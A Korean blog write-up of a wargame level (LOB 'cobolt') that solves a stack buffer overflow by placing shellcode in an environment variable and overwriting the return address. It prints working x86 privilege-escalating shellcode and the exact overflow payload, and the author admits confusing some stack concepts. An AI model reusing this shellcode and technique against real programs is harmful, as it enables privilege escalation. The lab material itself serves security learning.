본문 바로가기

wargame/LOB

[LOB]02 COBOLT

cobolt

+) sfp, ebp 개념 혼동하여 작성함. 나중에 수정할 수도 있고

이전 문제에서 얻은 비밀번호로 다음 문제를 풀어보자.


디렉터리를 확인해보자.

cobolt.c는 gremlin.c와 거의 동일하지만 buffer의 크기가 다르다.
이전과는 달리 풀어야 할 것 같다.
이전과 같이 쉘에 바로 코드를 삽입하면 쉘코드가 버퍼를 오버하여 저장하는데 그럼 strcpy 함수가 끝난 후 ret을 통해 main함수로 돌아가는 데 쉘코드가 삽입되기 때문이다. ret에는 쉘코드가 아니라 쉘코드가 시작하기 전의 위치의 주소가 들어가야 한다.
가장 먼저 생각 난 방법은 환경변수에 쉘코드를 넣은다음 ret에 환경변수의 주소를 넣는 방법이다.
1. 환경변수에 쉘코드를 넣는다
2. ret에게 환경변수의 주소를 넣으면 쉘코드를 실행한다.

위의 방법을 실행하기로 했다.(tmp라는 하위 폴더에서 문제를 풀었다)

환경변수에 10개 정도의 nop과 쉘코드를 넣었다. (이 때 SH=`python 은 띄어쓰기 금지)
(쉘코드는 setreuid(geteuid(), getreuid()), exit(0) 까지 포함시킨 쉘 코드
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0 \x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0 \x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80)

env로 환경변수를 확인할 수 있다.


2. 를 실행하기 위해 환경변수 SH의 주소를 확인할 수 있는 실행파일을 만들었다.



16byte buffer+4bypte sftp를 nop으로 덮고 ret에 환경변수의 주소 값을 넣으면 문제를 해결할 수 있다.
(`python -c 'print "\x90"*20+"\xe7\xfe\xff\xbf"'`)



'wargame > LOB' 카테고리의 다른 글

[LOB]03 cobolt  (0) 2019.11.20
[LOB]01 GREMLIN  (0) 2019.11.18